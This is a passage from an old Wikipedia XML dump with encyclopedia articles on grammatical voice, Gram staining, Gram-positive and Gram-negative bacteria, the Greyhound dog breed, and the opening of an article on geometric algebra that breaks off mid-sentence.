This distinction is available in English for some verbs, such as in the case of &quot;The store was open&quot; being distinguished from &quot;The store was opened&quot;), but not for others concerning a statement such ss &quot;The store was closed&quot; with either meaning.--&gt;
===In German===
Static passive auxiliary verb: '''sein'''

Dynamic passive auxiliary verb: '''werden'''

''Ich bin am 20. August geboren'' (&quot;I was born on August 20&quot;, static)

''Ich wurde am 20. August geboren'' (&quot;I became born on August 20&quot;, dynamic)
===In Spanish===
Static passive auxiliary verb: '''estar'''

Dynamic passive auxiliary verb: '''ser'''
===In Dutch===
Static passive auxiliary verb: '''zijn'''

Dynamic passive auxiliary verb: '''worden'''

''De muur is geverfd.'' (There is paint on the wall, static)

''De muur wordt geverfd.'' (Someone is painting the wall, dynamic)

==List of voices==
Here are some voices found in some languages:
*[[Active voice]]
*[[Passive voice]]
*[[Mediopassive voice]]
*[[Impersonal passive voice]]
*[[Middle voice]]
*[[Antipassive voice]]
*[[Reflexive voice]] (the subject and the object of the verb are the same, as in ''I cut myself'')
*[[Reciprocal voice]] (subject and object perform the verbal action to each other, e. g. ''I cut her and she cut me'')
*[[Causative voice]]
*[[Applicative voice]]

==See also==
*[[Grammatical aspect]]
*[[Grammatical mood]]
*[[Grammatical tense]]
*[[E-Prime]]
*[[English passive voice]]

[[Category:Grammatical voices| ]]

{{Link FA|fr}}

[[de:Diathese (Linguistik)]]
[[fr:Diathèse]]
[[ja:態]]
[[pl:Strona (językoznawstwo)]]
[[pt:Voz verbal]]
[[zh:语态]]</text>
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  </page>
  <page>
    <title>Gram staining</title>
    <id>12935</id>
    <revision>
      <id>40852189</id>
      <timestamp>2006-02-23T12:30:44Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:Gram_Stain_Anthrax.jpg|thumb|right|300px|Gram-positive [[anthrax disease|anthrax]] bacteria (purple rods) in [[cerebrospinal fluid]] sample.  If present, a gram-negative bacterial species would appear pink. (The other cells are [[white blood cell]]s)]]
'''Gram staining''' (or the '''Gram's method''') is an [[empiricism|empirical]] method of differentiating [[bacterium|bacterial]] species into two large groups ([[Gram-positive]] and [[Gram-negative]]) based on the chemical and physical properties of their [[cell wall]]s.

The method is named after its inventor, the [[Denmark|Danish]] scientist [[Hans Christian Gram]] (1853-1938), who developed the technique in [[1884]] to discriminate between [[pneumococcus|pneumococci]] and ''[[Klebsiella pneumoniae]]'' bacteria.

==Uses==
===Research===
Gram staining is one of the most useful staining procedures in [[Bacteriology|bacteriological]] [[laboratory]]. The technique is widely used as a tool for differentiating Gram-negative and Gram-positive bacteria, as a first step to determine the identity of a particular bacterial sample.

===Medical===
Gram stains are performed on [[body fluid]] or [[biopsy]] when [[infection]] is suspected. It yields results much quicker than [[Microbiological culture|culture]], and is especially important when infection would make an important difference in the patient's treatment and prognosis; examples are [[cerebrospinal fluid]] for [[meningitis]] and [[synovial fluid]] for [[septic arthritis]]. It necessitates the 24 hour staffing of microbiological laboratories in hospitals.

==Procedure==
{{Wikibookspar|Transwiki|Gram staining}}

===Staining===
# First, an inoculum is taken from a culture using an [[inoculation loop]] and put on a [[Microscope slide|slide]] and then allowed to air dry. If the culture is solid, it is diluted by adding a drop of water or sterile saline on the slide and mixing with the loop. It is important here to take a very small inoculum so that the end result is a sparse single layer of bacteria. It is a common mistake for beginners to put far too much inoculum at this step. 
# The specimen is heat-fixed by passing the slide, inoculum side up, through a [[bunsen burner|bunsen]] flame 1-2 times, without allowing the slide to become hot to the touch.
# A [[alkali|basic]] dye, [[methyl violet|crystal violet]] or [[gentian violet]], is used to stain the slide. This dye is taken up by both Gram-positive and Gram-negative bacteria. Allow to stain for 1 minute. The slide should look purple to the unaided eye, and if examined microscopically at this point both Gram-positive and Gram-negative bacteria are purple. Lugol can also be used instead of crystal violet.
# Rinse off with water for a maximum of 5 seconds.
# Add [[iodine]] (Gram's iodine) [[solution]] (1[[how to make a % solution|%]] iodine, 2% potassium iodide in water) for 1 minute. This acts as a [[mordant]] and fixes the dye.
# Rinse with water.
# Apply 95% [[ethanol]] or a mixture of [[acetone]] and [[alcohol]]. This washes away all the unbound [[alkali|basic]] dye, (usually crystal violet) and leaves [[Gram-positive]] organisms stained purple and [[Gram-negative]] organisms unstained (colourless).
# Rinse with water immediately to prevent over-decolourisation (as prolonged exposure to the decolourising agent will remove all the stain from both types of bacteria).
# Apply a suitable [[counterstain]]. Suitable stains include [[safranin]] or [[fuchsin]]. This stain is taken up by both Gram-positive and Gram-negative organisms, but does not alter the colour of Gram-positive organism much, as they are already purple. It does, however, make the Gram-negative organisms pinkish-red.
#Blot gently and allow the slide to dry. Do not smear.

[[Image:Gram-stain-slide.jpg|thumb|right|300px|A Gram-stained slide containing both Gram-positive and Gram-negative bacteria]]

===Interpretation===
When inspecting the slide under a [[microscope]]:
* ''[[Gram-positive]]'' organisms will appear ''blue-black'' or ''purple''.
* ''[[Gram-negative]]'' organisms will appear ''red'' or ''pink''.

Organisms that cannot reliably be differentiated by this staining technique are said to be '''Gram-variable'''. These are Gram-positive bacteria that lose the stain easily and therefore may appear as a mixture of Gram-positive and Gram-negative bacteria. In addition, [[mycobacteria]] - the causative agents of [[tuberculosis]] and [[leprosy]] - are said to be [[acid-fast]] and resistant to Gram staining entirely. [[Ziehl-Neelsen stain|Ziehl-Neelsen staining]] is particularly useful as a Gram stain alternative in these cases.

==One-step Gram staining==
If a [[Microscopy|fluorescent microscope]] is available, the Gram stain can be reduced to a one-step procedure where Gram-positive and Gram-negative cells fluoresce with different colours. This shortens the length of the procedure considerably, which is especially useful if staining a large amount of samples (which is often the case in a clinical laboratory).

==Mechanism==
Gram-positive bacteria have a thick mesh-like cell wall made of [[peptidoglycan]] which is capable of retaining the violet dye/iodine complex. Gram-negative bacteria have a thin cell wall made of a layer of peptidoglycan. In addition to an inner membrane, they also have an outer membrane which contains [[lipid]]s, and is separated from the cell wall by the periplasmic space.

The decolourising mixture causes dehydration of the multilayered peptidoglycan in the Gram-positive cell wall, thus decreasing the space between the molecules and causing the cell wall to trap the crystal violet-iodine complex within the cell. But in Gram-negative bacteria, the decolourising mixture acts as a lipid solvent and dissolves the outer membrane of the Gram-negative cell wall. The thin layer of peptidoglycan is unable to retain the crystal violet-iodine complex and the Gram-negative cell is decolorized. The decolourisation step is the crucial one, and requires some degree of skill, as being Gram-positive is not an all-or-none phenomenon.

As a rule of thumb (which has exceptions), Gram-negative bacteria are more dangerous as disease organisms, because their outer membrane is often hidden by a capsule or [[slime layer]] which hides the antigens of the cell and so acts as &quot;camouflage&quot; - the human body recognises a foreign body by its antigens; if they are hidden, it becomes harder for the body to detect the invader.  Often the presence of a [[capsule]] will increase the virulence of a [[pathogen]]. Additionally, Gram-negative bacteria have [[lipopolysaccharide]] in their outer membrane.  Lipopolysaccharide is an [[endotoxin]] which increases the severity of [[inflammation]]. This inflammation may be so severe that [[septic shock]] may occur.  Gram-positive infections are generally less severe because the human body does not contain peptidoglycan, and in fact the human body produces an [[enzyme]] called [[lysozyme]] which attacks the open peptidoglycan layer of Gram-positive bacteria. Gram-positive bacteria are also frequently much more susceptible to [[beta-lactam antibiotic]]s, such as [[penicillin]].

==See also==
* [[Staining (biology)]]

==References==
* {{cite journal | authorlink = Hans Christian Gram | last = Gram | first =  HC | title = Über die isolierte Färbung der Schizomyceten in Schnitt- und Trockenpräparaten | journal = Fortschr Med | year = 1884 | volume = 2 | pages = 185-89 }}
* {{cite book | last = Bergey | first =  David H. | coauthors =  John G. Holt; Noel R. Krieg; Peter H.A. Sneath | title = Bergey's Manual of Determinative Bacteriology | edition = 9th ed. | publisher = Lippincott Williams &amp; Wilkins | year = 1994 | id = ISBN 0-683-00603-7 }}
* {{cite book | last = Madigan | first =  MT | coauthors =  Martinko J; Parker J | title = Brock Biology of Microorganisms | edition = 10th Edition | publisher = Lippincott Williams &amp; Wilkins | year = 2004 | id = ISBN 0-130-66271-2 }}
* {{cite book | last = Ryan | first =  KJ  | coauthors =  Ray, CG | title = Sherris Medical Microbiology | edition = 4th ed. | publisher = McGraw Hill. | year = 2004 | id = ISBN 0-838-58529-9 }}

[[Category:Staining]]
[[Category:Bacteriology]]

[[cs:Gramovo barvení]]
[[de:Gram-Färbung]]
[[es:Tinción de Gram]]
[[fr:Coloration de Gram]]
[[he:צביעת גרם]]
[[it:Colorazione di Gram]]
[[ko:그람 염색]]
[[nl:Gram-kleuring]]
[[no:Gramfarging]]
[[pt:Técnica de Gram]]
[[vi:Nhuộm Gram]]
[[zh:革蘭氏染色]]
[[zh-min-nan:Gram ní-sek-hoat]]</text>
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  <page>
    <title>Gram-positive</title>
    <id>12936</id>
    <revision>
      <id>40852422</id>
      <timestamp>2006-02-23T12:33:39Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:Gram_Stain_Anthrax.jpg|thumb|right|300px|Gram-positive [[anthrax disease|anthrax]] bacteria (purple rods) in [[cerebrospinal fluid]] sample. The other cells are [[white blood cell]]s]]

'''Gram-positive''' [[Bacteria|bacteria]] are those that are stained dark blue or violet by [[Gram staining]], in contrast to [[Gram-negative]] bacteria, which cannot retain the stain, instead taking up the [[counterstain]] and appearing red or pink. The stain is caused by a high amount of [[peptidoglycan]] in the [[cell wall]], which typically, but not always lacks the secondary membrane and [[lipopolysaccharide]] layer found in Gram-negative bacteria.

In the original bacterial phyla, the Gram-positive forms made up the [[phylum (biology)|phylum]] [[Firmicutes]], a name now used for the largest group. It includes many well-known genera such as ''[[Bacillus]]'', ''[[Listeria]]'', ''[[Staphylococcus]]'', ''[[Streptococcus]]'', ''[[Enterococcus]]'', and ''[[Clostridium]]''. It has also been expanded to include the Mollicutes, bacteria like ''[[Mycoplasma]]'' that lack cell walls and so cannot be stained by Gram, but are derived from such forms.

The [[actinobacteria]] are another major group of Gram-positive bacteria; they and the Firmicutes are referred to as the high and low G+C groups based on the [[guanosine]] and [[cytosine]] content of their [[DNA]]. If the second membrane is a derived condition, the two may have been basal among the bacteria; otherwise they are probably a relatively recent monophyletic group. They have been considered as possible ancestors for the [[archaea]]ns and [[eukaryote]]s, both because they are unusual in lacking the second membrane and because of various biochemical similarities such as the presence of [[sterol]]s.

The [[Deinococcus-Thermus]] bacteria also have Gram-positive stains, although they are structurally similar to Gram-negative bacteria.

Both Gram-positive and Gram-negative bacteria may have a membrane called an [[S-layer]].  In Gram-negative bacteria, the S-layer is directly attached to the outer membrane. In Gram-positive bacteria, the S-layer is attached to the [[peptidoglycan]] layer. 

== References ==
* {{cite book | last = Baron | first =  Samuel | title = Medical Microbiology | edition = 4th ed. | publisher = The University of Texas Medical Branch at Galveston | year = 1996 | id = ISBN 0-9631172-1-1 | url = http://www.ncbi.nlm.nih.gov/books/bv.fcgi?call=bv.View..ShowTOC&amp;rid=mmed.TOC&amp;depth=10 }}
* {{cite book | author = Madigan, Michael; Martinko, John (editors) | title = Brock Biology of Microorganisms | edition = 11th ed. | publisher = Prentice Hall | year = 2005 | id = ISBN 0131443291 }}
* {{NCBI-scienceprimer}}

[[Category:Staining]]
[[Category:Bacteria]]

[[cs:Grampozitivní bakterie]]
[[es:Bacteria Gram-positiva]]
[[fi:Grampositiivinen bakteeri]]
[[fr:Gram positif]]
[[nl:Gram-positief]]
[[pl:Bakterie Gram-dodatnie]]
[[zh:革蘭氏陽性菌]]</text>
    </revision>
  </page>
  <page>
    <title>Gram-negative</title>
    <id>12937</id>
    <revision>
      <id>41822738</id>
      <timestamp>2006-03-01T23:45:38Z</timestamp>
      <contributor>
        <username>DavidArnold</username>
        <id>621590</id>
      </contributor>
      <minor />
      <comment>Added links to mentioned antibiotics.</comment>
      <text xml:space="preserve">{{Cleanup-date|January 2006}}
&lt;!--Note to editors: the article needs to be reorganised so it is easier to read, perhaps using headers? --&gt;

'''Gram-negative''' [[Bacteria|bacteria]] are those ''not'' stained dark blue or violet by [[Gram staining]]. On most Gram-stain preparations, Gram-negative organisms will be [[counterstain]]ed and appear red or pink.

The difference lies in the [[cell wall]] of the two types of bacteria; in contrast to most [[Gram-positive]] bacteria, Gram-negative bacteria have only a few layers of [[peptidoglycan]] and a secondary cell membrane made primarily of [[lipopolysaccharide]]. The space between the layers of peptidoglycan and the secondary cell membrane is called [[periplasmatic space]]. Both Gram-positive and Gram-negative bacteria may have a membrane called an [[S-layer]].  In Gram-negative bacteria, the S-layer is directly attached to the outer membrane. In Gram-positive bacteria, the S-layer is attached to the [[peptidoglycan]] layer. 

Many species of Gram-negative bacteria are ''[[Pathogen|pathogenic]]'', meaning they can cause disease in a host organism. This pathogenic capability is usually associated with certain components of Gram-negative cell walls, particularly the [[lipopolysaccharide]] ([[endotoxin]]) layer.

The [[proteobacteria]] are a  major group of Gram-negative bacteria, including for instance ''[[Escherichia coli]]'', ''[[Salmonella]]'', and other [[Enterobacteriaceae]], ''[[Pseudomonas]]'', ''[[Moraxella catarrhalis|Moraxella]]'', ''[[Helicobacter]]'', ''[[Stenotrophomonas]]'', ''[[Bdellovibrio]]'', [[acetic acid bacteria]], ''[[Legionella]]'' and a great many others.  Other notable groups of Gram-negative bacteria include the [[cyanobacteria]], [[spirochaete]]s, [[green sulfur bacteria|green sulfur]] and [[green non-sulfur bacteria|green non-sulfur]] bacteria.

Two major subclassifications of Gram-negative bacteria are Gram-negative cocci and Gram-negative rods (bacilli), which they owe to their appearance under a microscope. Their shape has implications for medical antibacterial therapy.

Medically relevant Gram-negative cocci include 3 organisms, which cause a sexually transmitted disease (''Neisseria gonorrhea''), a meningitis (''Neisseria meningitidis''), and respiratory symptoms (''Moraxella catarrhalis'').

Medically relevant Gram-negative bacilli include a multitude of species. Some of them cause primarily respiratory problems (''Hemophilus influenzae'', ''Klebsiella pneumoniae'', ''Legionella pneumophila'', ''Pseudomonas aeruginosa''), primarily urinary problems (''Escherichia coli'', ''Proteus mirabilis'', ''Enterobacter cloacae'', ''Serratia marcescens''), and primarily gastrointestinal problems (''Helicobacter pylori'', ''Salmonella enteritidis'', ''Salmonella typhi'').   

The Gram-negative outer membrane; which contains an endotoxin LPS, blocks antibiotics, dyes, and detergents protecting the sensitive inner membrane and cell wall.  Therefore Gram-negative bacteria are resistant to [[lysozyme]] and [[penicillin]] attack.

== References ==
* {{cite book | last = Baron | first =  Samuel | title = Medical Microbiology | edition = 4th ed. | publisher = The University of Texas Medical Branch at Galveston | year = 1996 | id = ISBN 0-9631172-1-1 | url = http://www.ncbi.nlm.nih.gov/books/bv.fcgi?call=bv.View..ShowTOC&amp;rid=mmed.TOC&amp;depth=10 }}
* {{cite book | author = Madigan, Michael; Martinko, John (editors) | title = Brock Biology of Microorganisms | edition = 11th ed. | publisher = Prentice Hall | year = 2005 | id = ISBN 0131443291 }}
* {{NCBI-scienceprimer}}

[[Category:Staining]]
[[Category:Bacteria]]

[[cs:Gramnegativní bakterie]]
[[es:Bacteria Gram negativa]]
[[fr:Gram négatif]]
[[nl:Gram-negatief]]
[[pl:Bakterie gram ujemne]]
[[zh:革蘭氏陰性菌]]</text>
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    <title>Greyhound</title>
    <id>12938</id>
    <revision>
      <id>42072736</id>
      <timestamp>2006-03-03T17:08:40Z</timestamp>
      <contributor>
        <username>Mikieminnow</username>
        <id>864656</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{otheruses1|the breed of dog}}
&lt;!-- Begin Infobox Dogbreed.  The text of the article should go AFTER this section. See: --&gt;
&lt;!-- http://en.wikipedia.org/wiki/Wikipedia:WikiProject_Dog_breeds#Infobox_Dogbreed_template --&gt;
&lt;!-- for full explanation of the syntax used in this template. --&gt;
{{Infobox Dogbreed
| akcgroup = Hound
| akcstd = http://www.akc.org/breeds/greyhound/index.cfm
| altname = English Greyhound
| ankcgroup = Group 4 (Hounds)
| ankcstd = http://www.ankc.aust.com/greyhnd.html
| ckcgroup = Group 2 - Hounds
| ckcstd = ?
| country = uncertain; possibly [[England]] or [[Egypt]]
| fcigroup = 10
| fcinum = 158
| fcisection = 3
| fcistd = http://www.dogdomain.com/fcistandards/fci-158.htm
| image = Greyhound.jpg
| image_caption = Greyhound
| kcukgroup = Hound
| kcukstd = http://www.the-kennel-club.org.uk/discoverdogs/hound/h780.htm
| name = Greyhound
| nzkcgroup = Hounds
| nzkcstd = http://www.nzkc.org.nz/br468.html
| ukcgroup = Sighthounds and Pariah Dogs
| ukcstd = http://www.ukcdogs.com/breeds/sighthoundspariahs/greyhound.std.shtml
}}
&lt;!-- End Infobox Dogbreed info. Article Begins Here --&gt;
The '''Greyhound''' is a  [[dog breed|breed]] of [[dog]] used for hunting and racing. They are one of the fastest land mammals; their combination of long, powerful  legs, deep chests and aerodynamic build allows them to reach speeds of up to 72 [[km/h]] (45 mph).

==Appearance==
[[Image:GreyhoundPup.jpg|thumb|left|Greyhound pup]]
Male dogs are usually 71 to 76 [[centimeters|cm]] (28 to 30 [[inches]]) tall at the [[withers]] and weigh around 29 to 36 [[kilograms|kg]] (65 to 90 [[Pound (weight)|pound]]s). Females tend to be smaller with shoulder heights ranging from 68 to 71 cm (27 to 28 inches)  and weights from 27 to 31 kg (50 to 75 pounds). Greyhounds have very short hair, which is easy to maintain. There are approximately thirty recognized color forms, of which variations of white, brindle, fawn, black, red, blue, and grey can appear uniquely or in combination.

==Temperament==
Although greyhounds are extremely fast dogs, they are not high-energy dogs. They are sprinters, and although they love running, do not require extensive exercise once they leave the track. Most are quiet, gentle animals. Greyhounds are often referred to as &quot;Forty-five mile an hour [[couch potato]]es.&quot;

Greyhounds can make good pets because of their mild and affectionate character. They can get along well with children and family pets (often including cats). Greyhounds are generally loyal, tractable dogs with developed intellects, although their territorial instinct is weak and they make poor [[guard dog]]s. Their talents include sighting and hunting. They do not have undercoats and therefore are less likely to trigger people's dog allergies (greyhounds are sometimes incorrectly referred to as &quot;[[hypoallergenic]]&quot;).  Most greyhounds that live as pets are adopted after they retire from racing.

Most companion greyhounds are kept on a leash because their hunting background has instilled a strong desire to chase things. Greyhounds can live in an urban setting but require moderate exercise on a regular basis. They enjoy walking and running outside.

An adult greyhound will stay healthy and happy with a daily walk of as little as 20 to 30 minutes. However, as greyhounds have a body fat of around 16%, compared to an average of 25% in other canines, overdoing their exercise can be detrimental to their health.
[[Image:Greyhound-in-flight.png|300px|thumb|right|Greyhound in flight]]

==History==
Popularly, the breed's origin is believed to be traced to ancient [[Egypt]], where a [[bas-relief]] depicting a smooth-coated [[Saluki]] (Persian Greyhound) or [[Sloughi]] was found in a [[tomb]] built in [[4000 BC]]. Analyses of [[DNA]] reported in [[2004]], however, suggest that the greyhound is not closely related to these breeds, but is a close relative to [[herding dog]]s. {{an|1}} {{an|2}}

Historically, these [[sight hound]]s have been used primarily for hunting in the open where their keen [[eyesight]] is a distinct advantage. It is believed that they (or at least similarly-named dogs) were introduced to [[England]] in the 5th and 6th centuries BC from [[Celt]]ic mainland Europe.

The name &quot;greyhound&quot; is generally believed to come from the Old English ''grighund''.  &quot;Hund&quot; is traced to the modern &quot;hound&quot;, but the meaning of &quot;grig&quot; is undetermined, other than in reference to dogs in Old English and Norse. Its origin does not appear to have any common root with the modern word &quot;[[grey]]&quot; for colour, and indeed the greyhound is seen with a wide variety of coats.

According to Pokorny's Indogermanisches Woerterbuch (p. 441-442) the English name &quot;greyhound&quot; does not mean &quot;a gray dog/hound&quot;, but simply &quot;a fair dog&quot;. Subsequent words have been derived from the indoeuropean root *g'her- 'shine, twinkle': Eng. &quot;gray&quot;, Old High German &quot;gris&quot; 'grey, old', Old Icelandic &quot;griss&quot; 'piglet, pig', Old Icld. &quot;gryja&quot; 'to dawn', &quot;gryjandi&quot; 'morning twilight', Old Irish &quot;grian&quot; 'sun', Old Church Slavonic &quot;zorja&quot; 'morning twilight, brightness'. The common sense of these words is 'to shine; bright'.

Until the early twentieth century, greyhounds were principally bred and trained for [[coursing]]. During the early [[1920s]], modern greyhound racing was introduced into the United States and introduced into United Kingdom and Ireland in [[1926]].

''See main article at'' '''''[[Greyhound racing]]'''''

==Welfare==
[[Image:GreyhoundRacing.jpg|thumb|left|Photo finish of a Greyhound race in [[Tampa]], [[Florida]], [[USA]] on [[February 9]] [[1939]]]]

In the late [[20th century]] several [[Greyhound adoption]] groups were formed. The early groups were formed in large part out of a sense of concern about the treatment of the dogs while living on the track. These groups began taking greyhounds from the racetracks when they could no longer compete and placing them in adoptive homes. Previously, in the United States over 20,000 retired greyhounds a year were killed; recent estimates still number in the thousands, with about 90% of National Greyhound Association-registered animals either being adopted, or returned for breeding purposes (according to the industry numbers upwards of 2000 dogs are still killed annually){{an|3}}.

Accidents and disease are also common killers among racing greyhounds.  In [[2005]], an [[epidemic]] of [[respiratory failure]] killed dozens of dogs and left over 1200 [[quarantine]]d in the U.S., particularly in [[Massachusetts]], [[Colorado]], [[Iowa]] and [[Rhode Island]].

The vast majority of greyhounds are bred for racing, leading registered [[American Kennel Club]] dogs about 150:1, and as such each dog is issued a [[Bertillon card]], which measures 56 distinct identifying traits, and the Bertillon number is [[tattoo]]ed on the dog's ear, so as to ensure that the dog who races is in fact the dog it is claimed to be.  However, not all [[National Greyhound Association]] registered dogs race.  There are several reasons why some greyhounds never race:

* The dog is too slow.
* The dog has physical defects.
* The dog does not have the required temperament.
* The dog is not raised in a country where racing is popular.
* The dog is bred for showing instead of racing. 

Most greyhounds finish racing between two and five years of age. Some retired racing greyhounds have injuries that may follow them for the remainder of their lives.

==Veterinary Care==
Due to the unique [[physiology]] and [[anatomy]] of greyhounds, a [[veterinarian]] who understands the issues relevant to the breed is generally needed when the dogs need treatment, particularly when [[anaesthesia]] is required.  Greyhounds demonstrate unusual blood chemistry, which can be misread by veterinarians not familiar with the breed; this can result in an incorrect diagnosis. Also, greyhounds have much less fat than other dogs, and therefore cannot metabolize anesthesia as quickly. Female greyhounds are sometimes administered [[hormone]] supplements during their racing career; these can lead to an elevated risk of [[cancer]]. As well, greyhounds have higher levels of [[red blood cell]]s than do other breeds: since red blood cells carry oxygen to the muscles, this helps the breed's speed.  Veterinary blood services often use greyhounds as universal [[blood donor]]s.

==Miscellaneous==
===In the media===
;Simpson's Santa's Little Helper:
:The most widely recognized greyhound in popular culture is the fictional character [[Santa's Little Helper]] from the [[Fox Broadcasting Company]]'s  animated series, ''[[The Simpsons]]''.

:The character Santa's Little Helper exhibits many of the intellectual and behavioural characteristics of the typical greyhound as a pet. He is portrayed as affectionate, tolerant of other household pets (notably cats), loyal, and not overly active. 

;The [[Greyhound Lines]] bus company
:In keeping with their logo, which sports a racing greyhound, Greyhound occasionally airs television commercials starring a talking computer-generated greyhound. The greyhound in these commercial shorts is often noted for his dry, deadpan wit.

===Anatomy===
An additional peculiarity of greyhounds is that they have a hinged spine, which is unique in the animal world. As a result, greyhounds have a small &quot;divot&quot; in their back, set just behind their shoulder blades.

The racing gait of the greyhound is a double suspension gallop, in which all four feet are off the ground twice during each full stride.

===Sports===
*The Greyhound is the mascot of the [[Assumption College]] sports teams.

*The [[Ontario Hockey League|OHL]] hockey team in [[Sault Ste. Marie, Ontario]], [[Canada]] is called the [[Sault Ste. Marie Greyhounds|Greyhounds]]. 

*There is an indoor football team based in West Virginia called the Ohio Valley Greyhounds.

===Other===
*Greyhound was the name of several [[roller coaster]]s in the [[United States]] and [[Canada]]. None of these rides operate today.

==See also==
*[[Lure coursing]]
*[[Coursing]]
*[[Greyhound racing]]
*[[Greyhound adoption]]

*Similar breeds:
**[[Italian Greyhound]]
**[[Whippet]]
**[[Galgo Español]] (Spanish Greyhound)
**[[Lurcher]] (Not a breed, but a type of dog with Greyhound ancestry)

==References==
*{{fnb|1}} Mark Derr (May 21, 2004).  &quot;Collie or Pug? Study Finds the Genetic Code&quot;. ''[[The New York Times]]''. [http://www.nytimes.com/2004/05/21/science/21dog.html]
*{{fnb|2}} Parker ''et al'' (May 21, 2004). &quot;Genetic Structure of the Purebred Domestic Dog&quot;. ''[[Science (journal)|Science]]'' volume 304, pp. 1160-1164.
*{{fnb|3}} From [http://www.gra-america.org/mediakit.html Greyhound Racing Accociation] ''Please Note: this figure does not include information about unregistered litters, nor outcomes for dogs after they finished as breeding dogs.  All figures are disputed by some adoption groups.''



[[Category:Dog breeds]]
[[Category:Greyhound racing]]
[[Category:Sight hounds]]

&lt;!-- The below are interlanguage links. --&gt;
[[de:Greyhound]]
[[eo:Angla leporhundo]]
[[fr:Lévrier greyhound]]
[[he:&amp;#1490;&amp;#1512;&amp;#1497;&amp;#1497;&amp;#1492;&amp;#1488;&amp;#1493;&amp;#1504;&amp;#1491;]]
[[no:Greyhound]]
[[pl:Greyhound]]
[[simple:Greyhound]]</text>
    </revision>
  </page>
  <page>
    <title>Geometric algebra</title>
    <id>12939</id>
    <revision>
      <id>38621191</id>
      <timestamp>2006-02-07T15:15:21Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <comment>rm peacock terms</comment>
      <text xml:space="preserve">'''Geometric algebra''' is a [[Clifford algebra]] with a geometric interpretation.  This makes it useful in a range of physics problems, particularly those that involve rotations, phases or imaginary numbers. Proponents of geometric algebra say that it describes classical mechanics, quantum mechanics, electromagnetic theory and relativity more compactly and intuitively than standard methods do. Special modern applications of geometric algebra are computer vision, biomechanics and robotics, and spaceflight dynamics.

In [[mathematics]], a '''geometric algebra'''  &lt;math&gt;\mathcal{G}_n(\mathcal{V}_n)&lt;/math&gt; is an [[algebra]] constructed over a [[vector space]] &lt;math&gt;\mathcal V_n&lt;/math&gt; in which a '''geometric product''' is defined. For all [[multivector]]s (the elements of the algebra) &lt;math&gt;\mathbf{A}, \mathbf{B}, \mathbf{C}&lt;/math&gt;, the geometric product has the following properties:

# [[closure (mathematics)|Closure]]
# [[Distributivity]] over the addition of multivectors: 
#* &lt;math&gt;\mathbf{A}(\mathbf{B} + \mathbf{C}) = \mathbf{A}\mathbf{B} + \mathbf{A}\mathbf{C}&lt;/math&gt; 
#* &lt;math&gt;(\mathbf{A} + \mathbf{B})\mathbf{C} = \mathbf{A}\mathbf{C} + \mathbf{B}\mathbf{C}&lt;/math&gt;
# [[Associativity]]
# Unit (scalar) element: 
#* &lt;math&gt; 1 \, \mathbf A = \mathbf A &lt;/math&gt;
# [[Tensor contraction]]: for any &quot;vector&quot; (a grade-one element) &lt;math&gt;\mathbf{a}, \mathbf{a}^2&lt;/math&gt; is a [[scalar]] ([[real number]])
# [[Commutativity]] of the product by an scalar:
#* &lt;math&gt; \lambda \mathbf A = \mathbf A \lambda &lt;/math&gt;

Note that the first two properties are needed to be an [[algebra]]. Next two make it an [[associative]], [[unital]] algebra. 

The distinctive point of this formulation is the natural correspondence between geometric entities and the elements of the [[associative algebra]]. This comes from the fact that the '''geometric product''' is defined in terms of the [[dot product]] and the [[wedge product]] of vectors as
:&lt;math&gt; \mathbf a \, \mathbf b = \mathbf a \cdot \mathbf b + \mathbf a \wedge \mathbf b &lt;/math&gt;

The original [[vector space]] &lt;math&gt;\mathcal V&lt;/math&gt; is constructed over the [[real number]]s as scalars. From now on, a ''vector'' is something in  &lt;math&gt;\mathcal V&lt;/math&gt; itself. Vectors will be represented by boldface, small case letters. 

:The definition and the associativity of geometric product entails the concept of the inverse of a vector (or division by vector). Thus, one can easily set and solve vector algebra equations that otherwise would be cumbersome to handle. In addition, one gains a geometric meaning that would be difficult to retrieve, for instance, by using matrices. Although not all the elements of the algebra are invertible, the inversion concept can be extended to multivectors. Geometric algebra allows one to deal with subspaces directly, and manipulate them too. Furthermore, geometric algebra is a coordinate-free formalism.

:Geometric objects like &lt;math&gt; \mathbf a \wedge \mathbf b &lt;/math&gt; are called ''bivectors''. A bivector can be pictured as a plane segment (a parallelogram, a circle etc.) endowed with orientation. One bivector represents all planar segments with the same magnitude ''and'' direction, no matter where they are in the space that contains them. However, once either the vector &lt;math&gt; \mathbf a &lt;/math&gt; or &lt;math&gt; \mathbf b &lt;/math&gt; is meant to depart from some preferred point (e.g. in problems of Physics), the oriented plane &lt;math&gt; B=\mathbf a \wedge \mathbf b &lt;/math&gt; is determined unambiguously.

:As a meaningful, though simple, example one can consider a fixed non-zero vector &lt;math&gt; \mathbf v &lt;/math&gt;, from a point chosen as the origin, in the usual Euclidean space R&lt;sup&gt;3&lt;/sup&gt;. The set of all vectors &lt;math&gt; \mathbf x \wedge \mathbf v = B &lt;/math&gt; , &lt;math&gt; B &lt;/math&gt; denoting a given bivector containing &lt;math&gt; \mathbf v &lt;/math&gt;, determines a line &lt;math&gt; l &lt;/math&gt; parallel to &lt;math&gt; \mathbf v &lt;/math&gt;. Since &lt;math&gt; B &lt;/math&gt; is a ''directed'' area, &lt;math&gt; l &lt;/math&gt; is uniquely determined with respect to the chosen origin. The set of all vectors &lt;math&gt; \mathbf x \cdot \mathbf v = s &lt;/math&gt;, &lt;math&gt; s &lt;/math&gt; denoting a given (real) scalar, determines a plane P orthogonal to &lt;math&gt; \mathbf v &lt;/math&gt;. Again, P is uniquely determined with respect to the chosen origin. The two information pieces, &lt;math&gt; B &lt;/math&gt; and &lt;math&gt; s &lt;/math&gt;, can be set independently of one another. Now, what is (if any) the vector &lt;math&gt; \mathbf y &lt;/math&gt; that satisfies the system {&lt;math&gt; \mathbf y \wedge \mathbf v = B &lt;/math&gt; , &lt;math&gt; \mathbf  y \cdot \mathbf v = s &lt;/math&gt;} ? Geometrically, the answer is plain: it is the vector that departs from the origin and arrives at the intersection of &lt;math&gt; l 